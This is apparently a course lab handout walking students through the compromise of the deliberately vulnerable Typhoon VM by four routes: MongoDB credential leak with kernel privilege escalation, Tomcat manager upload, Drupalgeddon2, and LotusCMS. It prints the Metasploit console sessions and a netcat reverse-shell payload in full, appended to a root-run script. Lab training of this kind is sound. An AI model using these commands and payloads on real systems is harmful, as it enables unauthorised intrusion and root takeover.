CYBERSECURITY

EXPLOITATION: METASPLOIT

We will do a full hack of an Ubuntu machine with the aid of Metasploit.

INSTALL TARGET

Download the Typhoon 1.02 image from Canvas. (Or find it on the vulnhub website.)
The image is in the .ova format.
You should import it in Virtualbox and set the network senetdisttings so it can communicate with your KALI machine.

METHODOLOGY

This methodology/steps will be followed, and you can see it follows the teached steps:

- Network Scanning (Netdiscover, Nmap)
- 1st method of exploiting via exploring MongoDB
  - Consider robots.txt
  - Explore /MongoDB over browser
  - Identify credential
  - SSH Login
  - Find out kernel version
  - Kernel privilege escalation
  - Obtain root access
- 2nd method of exploiting via tomcat manager (Metasploit)
  - Generating bash payload
  - Uploading bash payload
  - Obtain root access
- 3rd Method: Exploiting Drupal CMS
- 4th Method: Exploiting Lotus CMS

WALKTHROUGH

METHOD 1: EXPLOITING BY EXPLORING MONGODB

Let's Begin ...

Scan the network to find the IP address of your target.
Document how you did this.
Document the found IP.

Use nmap to scan the target machine.

Use the option that enables OS detection, version detection, script scanning etc...
Document the open ports.

See if you notice the following:

- there is an entry **/mongoadmin/** in **robot.txt**

- Apache Tomcat/ Coyote JSP Engine 1.1. running on port 8080

We browse to the /mongoadmin/ directory.

Here we set the change the database to **credentials(84mb).** It will display a link of **2**Credentials. Click on it.

This will give you the following credentials:
Username:

Password:

Document the above steps.

Test if you can use these credentials to login with ssh.
Which command do you use?
Did it work?

Document this.

Find which OS is running on the system.
Document this.
Note: you should have found that it's Ubuntu 14.04

Search KALI for an exploit for this system.
We will try to use a "local privilege escalation" exploit.
See which ones exist.
Document this.

Note: we will use 37292.c

Download th exploit to your machine:
searchsploit -m 37292

Document the process.

Next we setup a small phython server from which we can download the exploit.
Type: python -m SimpleHTTPServer 80

Document the result.

Next steps:

- Download the exploit to the /tmp machine on your target (via the shell on the target and using wget)
- Compile the exploit and name it “rootshell”
- Give rootshell full permissions
- Execute it

Document the process.

You should now be root 😊

METHOD 2: EXPLOITING VIA TOMCAT MANAGER

Using Tomcat Manager Upload to get the meterpreter and then further establishing a reverse connection to get root access.

Above we noticed that **port 8080 is open** for **Apache Tomcat/ Coyote JSP Engine 1.1.** So let’s browse the Target IP on port 8080 on the browser.

This should verify that Tomcat is running.
Search for the default credentials that tomcat uses.
Username:
Password:

Search metaxploit for Tomcat exploits.
Use the tomcat_mgr_upload.
Fill in the correct options.
Document the process.

The result should be a meterpreter session on your target.
Type: shell
Use phython to open the bash shell.

Type:
python -c 'import pty;pty.spawn("/bin/bash")'

You now have a bash shell.

Check the target systems for possible weaknesses.
A search should find a **directory /tab** which consists of file **script.sh** that is owned by root and has FULL Permission.
Find and document this.

Let’s use this script to run malicious code.
This is advanced and uses “msfvenom”

For more information, check: https://www.offensive-security.com/metasploit-unleashed/msfvenom/

Type (on your host): msfvenom -p cmd/unix/reverse_netcat lhost=192.168.62.7 lport=2222 R

What do the options mean?
This should give you this type of payload:

```
mkfifo /tmp/mfmsmbw; nc 192.168.62.7 2222 0</tmp/mfmsmbw | /bin/sh >/tmp/mfmsmbw 2>&1; rm /tmp/mfmsmbw
```

Add this to the "script.sh"
Set your host ready for the connection by typing: nc -lvp 2222

Start the "script.sh" and wait for the connection.
Document the fact that you now have root access...

```
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
rhost => 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
rport => 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
httpusername => tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
httppassword => tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 192.168.1.109:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying sXeV...
[*] Executing sXeV...
[*] Undeploying sXeV ...
[*] Sending stage (53845 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.109:4444 -> 192.168.1.101:49152) at 2018

meterpreter > shell
Process 1 created.
Channel 1 created.
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat7@typhoon:/var/lib/tomcat7$ cd /tab
cd /tab
tomcat7@typhoon:/tab$ ls -al
ls -al
total 12
drwxr-xr-x  2 root root 4096 Oct 24 04:59 .
drwxr-xr-x 25 root root 4096 Oct 24 04:59 ..
-rwxrwxrwx  1 root root   96 Nov 28 19:04 script.sh
tomcat7@typhoon:/tab$
```

Moving on!! We need to create a bash code using Msfvenom:

```
1 msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=1234 R
```

After that, append the above generated malicious code in the **script.sh** file.

```
root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=1234 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 95 bytes
mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo
```

```
1 echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo"
  > script.sh
```

```
tomcat7@typhoon:/tab$ echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp
/vvwjo 2>&1; rm /tmp/vvwjo" > script.sh
o | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo" > script.shwj
tomcat7@typhoon:/tab$ cat script.sh
cat script.sh
mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo
tomcat7@typhoon:/tab$
```

Since the malicious code got executed with the **script.sh** file. Therefore we got a reverse shell on our netcat listener.

Yeah!! We have got the root access and found **root-flag**. We take a look at the content of the file and greeted with a congratulatory message.

```
tomcat7@typhoon:/tab$ echo "mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp
/vvwjo 2>&1; rm /tmp/vvwjo" > script.sh
o | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo" > script.shwj
tomcat7@typhoon:/tab$ cat script.sh
cat script.sh
mkfifo /tmp/vvwjo; nc 192.168.1.109 1234 0</tmp/vvwjo | /bin/sh >/tmp/vvwjo 2>&1; rm /tmp/vvwjo
tomcat7@typhoon:/tab$
```

METHOD 3: EXPLOITING DRUPAL CMS

Enumerate the web directories with the help of Dirb tool.
Document how you do this.

This should show you that there's a drupal installation present.
Check the exploits for drupal exploits.

We will use the drupal_drupalgeddon2 exploit.
You should be able to do this. (The special option to set is: set targeturi /drupal)

Document how to do this.

This gives us again a meterpreter shell. This shell can be exploited like we did previously.

METHOD 4: EXPLOITING LOTUS CMS

Besides the Drupal, there was also another /cms directory we found during the dirb scan. Explore the /cms directory via the browser.
Which cms is it running?

Again: search for an exploit.

We will use the lcms_php_exec exploit.
Again, use this exploit. (Note: special option to set is the uri to /cms/;)

You should be getting a meterpreter session you can again use for your exploit.

Document your result.